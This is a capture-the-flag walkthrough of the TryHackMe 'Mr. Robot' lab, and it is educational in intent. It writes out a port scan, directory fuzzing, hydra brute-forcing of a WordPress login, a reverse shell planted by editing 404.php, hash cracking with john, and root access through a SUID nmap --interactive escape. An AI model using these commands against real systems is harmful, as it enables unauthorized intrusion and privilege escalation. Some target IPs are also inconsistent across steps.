Mr.Robot

December 20, 20226 minutes
https://tryhackme.com/room/mrrobot
Attacker IP = 10.10.10.10
Target IP = 10.10.193.138
Reconnaissance
First of all, we check whether the machine is up and which OS it runs
❯ ping -c 1 10.10.193.138
PING 10.10.193.138 (10.10.193.138) 56(84) bytes of data.
64 bytes from 10.10.193.138: icmp_seq=1 ttl=63 time=56.6 ms
--- 10.10.193.138 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 56.631/56.631/56.631/0.000 ms
In this case it returns a TTL (time to live) of 63, knowing that ttl=64: Linux / ttl=128: Windows. This machine is most likely Linux
Port scan (nmap)
Now we start with a port scan
❯ sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.193.138 -oG allPort
| Parameter | Purpose |
|---|---|
| -p- | Scan all ports (65536) |
| –open | Only report open ports |
| -sS –min-rate 5000 | Set the scan speed |
| -n | Skip DNS resolution |
| -vvv | Print findings to the console as they come |
| -Pn | Skip host discovery |
| -oG allPorts | Save the scan in grepable format to a file called allPorts |
With a function defined in .zshrc called extractPorts, we get the open ports in a more visual way
extractPorts function by @s4vitar
❯ extractPorts allPorts
───────┬─────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼─────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.46.125
5 │ [*] Open ports: 80,443
6 │
7 │ [*] Ports copied to clipboard
8 │
───────┴─────────────────────────────────────────────────────────────────────────────────────────
Now, with nmap, we try to find the versions of the services on those ports and run basic reconnaissance scripts
❯ nmap -p80,443 -sV -sC 10.10.193.138 -oN target
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache
443/tcp open ssl/http Apache httpd
|_http-server-header: Apache
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=www.example.com
| Not valid before: 2015-09-16T10:45:03
|_Not valid after: 2025-09-13T10:45:03
Web
With whatweb we can get more information about the website
❯ whatweb 10.10.193.138
http://10.10.193.138 [200 OK] Apache, Country[RESERVED][ZZ], HTML5, HTTPServer[Apache], IP[10.10.193.138], Script, UncommonHeaders[x-mod-pagespeed], X-Frame-Options[SAMEORIGIN]
When we open the website, we see an animation that simulates a Linux boot; when it finishes, it shows the following message

Further down there is a “terminal” where only the commands listed above can be used

All the commands show videos, photos and messages related to the series…
Looking for subdirectories
To see whether there are subdirectories, we’ll use gobuster to fuzz with a wordlist located at /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt with the following command:
❯ gobuster dir -u http://10.10.46.125 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
2022/12/19 21:57:53 Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 236] [--> http://10.10.193.138/images/]
/blog (Status: 301) [Size: 234] [--> http://10.10.193.138/blog/]
/rss (Status: 301) [Size: 0] [--> http://10.10.193.138/feed/]
/sitemap (Status: 200) [Size: 0]
/login (Status: 302) [Size: 0] [--> http://10.10.193.138/wp-login.php]
/0 (Status: 301) [Size: 0] [--> http://10.10.193.138/0/]
/feed (Status: 301) [Size: 0] [--> http://10.10.193.138/feed/]
/video (Status: 301) [Size: 235] [--> http://10.10.193.138/video/]
/image (Status: 301) [Size: 0] [--> http://10.10.193.138/image/]
/atom (Status: 301) [Size: 0] [--> http://10.10.193.138/feed/atom/]
/wp-content (Status: 301) [Size: 240] [--> http://10.10.193.138/wp-content/]
/admin (Status: 301) [Size: 235] [--> http://10.10.193.138/admin/]
/audio (Status: 301) [Size: 235] [--> http://10.10.193.138/audio/]
/intro (Status: 200) [Size: 516314]
/wp-login (Status: 200) [Size: 2613]
/css (Status: 301) [Size: 233] [--> http://10.10.193.138/css/]
/rss2 (Status: 301) [Size: 0] [--> http://10.10.193.138/feed/]
/license (Status: 200) [Size: 309]
/wp-includes (Status: 301) [Size: 241] [--> http://10.10.193.138/wp-includes/]
/js (Status: 301) [Size: 232] [--> http://10.10.193.138/js/]
/Image (Status: 301) [Size: 0] [--> http://10.10.193.138/Image/]
/rdf (Status: 301) [Size: 0] [--> http://10.10.193.138/feed/rdf/]
/page1 (Status: 301) [Size: 0] [--> http://10.10.193.138/]
/readme (Status: 200) [Size: 64]
/robots (Status: 200) [Size: 41]
/dashboard (Status: 302) [Size: 0] [--> http://10.10.193.138/wp-admin/]
It reports lots of subdirectories. After trying them one by one, I found 2 that matter
/robots/
Contents of /robots/
User-agent: *
fsocity.dic
key-1-of-3.txt
We have the first key
❯ curl http://10.10.193.138/key-1-of-3.txt
---------- key 1 ----------
robots also points to another file, fsocity.dic, which we can download to our machine with wget
❯ wget http://10.10.193.138/fsocity.dic
It is a wordlist with 858160 words
/wp-admin/
wp-admin has a WordPress login panel. We try the usual admin:admin credentials; they don’t work, but there is a small but important detail

Instead of saying the credentials are wrong, it specifies what is wrong. Taking advantage of this, we can go through a wordlist of usernames until that error stops showing up, and then do the same with the passwords
Foothold
With hydra we’ll try the users from the wordlist we downloaded from /fsocity.dic/ with the password test
❯ hydra -L fsocity.dic -p test 10.10.193.138 http-post-form "/wp-login.php:log=^USER^&pwd=^PWD^:Invalid username" -t 30
[80][http-post-form] host: 10.10.193.138 login: Elliot password: test
Now we have a user (Elliot); with hydra we’ll also try passwords with the rockyou.txt wordlist
❯ hydra -l Elliot -P fsocity.dic 10.10.33.39 http-post-form "/wp-login.php:log=^USER^&pwd=^PWD^:The password you entered for the username Elliot is incorrect" -t 30
[80][http-post-form] host: 10.10.193.138 login: Elliot password: ER28-0652
With these credentials we can log in to the website, which takes us to its admin panel

Now the goal would be to find somewhere we can upload files, so we can send a malicious PHP file that gives us a reverse shell
In the posts section we can upload or write files, but they stay as plain text

In media we can upload files.

But after checking it with Burp Suite, like in the Vulnversity machine, it only accepts files with image extensions.
Inside the appearance section, in the editor, we can see the website’s PHP files, which we can edit.

For example, we’ll open 404.php and replace what was there with the reverse shell code. It’s important to change the port we’ll be listening on and our machine’s IP

Now we listen on port 443
nc -nlvp 443
Now, when we request a random subdirectory like http://10.10.193.138/okjihogyklasd, it runs 404.php and we get the connection.
Privilege escalation
The second flag is in the /home/robot directory, and there is also a file with a raw-md5 hash
❯ john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Loaded 1 password hash (Raw-MD5 [MD5 512/512 AVX512BW 16x3])
censored password (?)
Now, when we try to become robot, this error appears
$ su robot
su: must be run from a terminal
python -c 'import pty; pty.spawn("/bin/bash")' fixes the problem
daemon@linux:/$ python -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/bash")'
daemon@linux:/$ su robot
su robot
Password: abcdefghijklmnopqrstuvwxyz
robot@linux:/$
Now, with find / -perm -4000 -exec ls -ldb {} \; 2>/dev/null, there is one that shouldn’t be there: nmap
nmap --interactive
This opens nmap in interactive mode. Since it is running as root, if we run !sh to spawn a shell, we are root, and we can read the last flag in /root